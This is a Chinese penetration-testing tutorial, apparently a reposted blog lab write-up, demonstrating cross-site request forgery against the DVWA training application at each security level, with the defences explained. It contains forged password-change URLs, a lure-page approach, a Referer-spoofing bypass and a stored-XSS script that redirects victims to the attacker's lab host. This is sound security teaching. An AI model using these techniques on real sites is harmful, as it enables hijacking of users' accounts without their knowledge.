Kali渗透测试之DVWA系列6——CSRF(跨站请求伪造)

目录

一、CSRF简介       

二、原理示意图

三、实验环境

四、实验步骤

       安全级别:Low(四种方法)

       安全级别:Medium

       安全级别:High

       安全级别:Impossible


一、CSRF简介       

        CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF。它是利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害者不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

CSRF与XSS的区别

  • XSS、SQL注入等都属于技术漏洞。(客户信任服务器)      
  • CSRF属于逻辑漏洞,通过伪装成受信任用户的请求来利用受信任的网站。在服务器看来,所有的请求都是合法正常的。(服务器信任经过身份验证的客户)

        与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

二、原理示意图

CSRF攻击成功的前提条件:

  1. 用户必须登录
  2. Hacker必须懂得一些发包的请求
  3. 服务器端不会有二次认证
  4. 被害方是不知情的

三、实验环境

Windows Server 2003:DVWA服务器,安装PHPStudy,IP地址为192.168.247.129

Kali(Hacker):IP地址为192.168.247.157

物理机Win 10(Hacker):在Win10上模拟修改密码的过程,并用Burp Suite获取URL

Windows XP(被攻击方) :访问DVWA,测试实验结果

         补充:PHPStudy是一个PHP调试环境的程序集成包。该程序包集成最新的Apache+PHP +MySQL+PHPMyADmin +ZendOptimizer,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境。该程序不仅包括PHP调试环境,还包括了开发工具、开发手册等。总之学习PHP只需一个包。

四、实验步骤

安全级别:Low

查看源码

源码分析

        从源码中可以看到,密码中不能包含SQL中的特殊字符;

        服务器收到修改密码的请求后,会检查参数pass_new与pass_conf是否相同,如果相同,则会更新数据库,修改密码。这个过程没有任何的防CSRF机制(用户已经登录服务器)。

方法一

URL:http://192.168.247.129/dvwa/<使用BurpSuite获取的链接>

注:每次登录进去都需重置数据库,使密码恢复为初始密码

1、在物理机Win 10上提交修改密码的请求,并使用BurpSuite进行抓包,构造修改密码的链接。

2、将该数据包导入Repeater

3、模拟执行结果

4、使被攻击方点击修改密码的链接         

        在Win XP端(被攻击方)点击修改密码的链接http://192.168.247.129/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change,密码会被修改为123。修改密码的链接过于明显,且修改后页面会有提示,容易被发现,可以使用一些缩短链接的方法。

注意:当在Win XP端(被攻击方)点击修改密码的链接时,需处于登录状态

5、使用原先密码password登录,失败。使用密码123成功登录DVWA。

  

方法二

思路:在 Kali 的 /var/www/html 目录下写一个修改密码的html文件,诱骗被攻击者去访问该页面,便可以修改登录密码。

1、在物理机Win 10上模拟修改密码的过程,并用Burp Suite获取URL

2、在Kali上创建html页面,并启动Apache服务

3、在Win XP上登录DVWA,重置数据库并将安全等级设为LOW

  

4、在Win XP上访问在Kali上创建的html页面,结果如下图所示:

5、点击csrf超链接,直接跳转到DVWA登录界面,此时密码已经修改成功,使用原先的密码paaword进行登录,失败。使用修改后的密码111登录成功。

方法三

思路:在本地写一个2.html,然后上传到公网上,诱骗受害者去访问,这种方法能够使受害者在不知情的情况下完成CSRF攻击,修改登录密码。

2.html内容如下:

        优点:访问2.html,页面会跳转到404页面。一般情况下,我们看到404页面都会下意识的关闭它,不会有想要查看源代码的意识。该方法就是利用这一点,在用户访问2.html时对密码进行修改。

使用原先的密码paaword进行登录失败,使用修改后的密码123登录成功。 

方法四

思路:结合存储型XSS进行重定向2.html

1、在kali(IP:192.168.247.157)的/var/www/html目录下制作一个网页2.html(同方法三中的2.html内容一样),开启Apache服务

2、在物理机上结合存储型XSS进行重定向

<script>window.location='http://192.168.247.157/2.html'</script>;提交后,直接去访问http://192.168.247.157/2.html。

3、在物理机Win 10上退出DVWA当前登录,使用原先密码登录失败,使用新密码123登录成功。

安全级别:Medium

查看源码

源码分析

  • Medium级别的代码检测了 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,即要求本地登录),希望通过这种机制抵御CSRF攻击。
  • 过滤规则是http包头的Referer参数的值中必须包含主机名(192.168.247.129)。

可以通过BurpSuite抓包,将主机名放在http包头的Referer参数中

        在Win XP上点击修改密码的链接http://192.168.247.129/dvwa/vulnerabilities/csrf/?password_new=456&password_conf=456&Change=Change,密码会被修改为456。退出DVWA当前登录,重新登录,使用原先密码登录失败,使用新密码456登录成功。

安全级别:High

查看源码

源码分析

        High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

抓包,我们可以将数据包的安全级别High改为Low

在Win XP上点击该URLhttp://192.168.247.129/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token=ef782cd69604a4ae6f15390ac77c3659 ,密码修改成功。退出当前DVWA登录界面,使用原先密码登录失败,使用新密码123登录成功。

安全级别:Impossible

查看源码

源码分析

  • Impossible级别的代码利用PDO技术防御SQL注入
  • 对于防护CSRF,则要求用户输入原始密码,攻击者在不知道原始密码的情况下,无法进行CSRF攻击。

猜你喜欢

转载自blog.csdn.net/weixin_43625577/article/details/90108703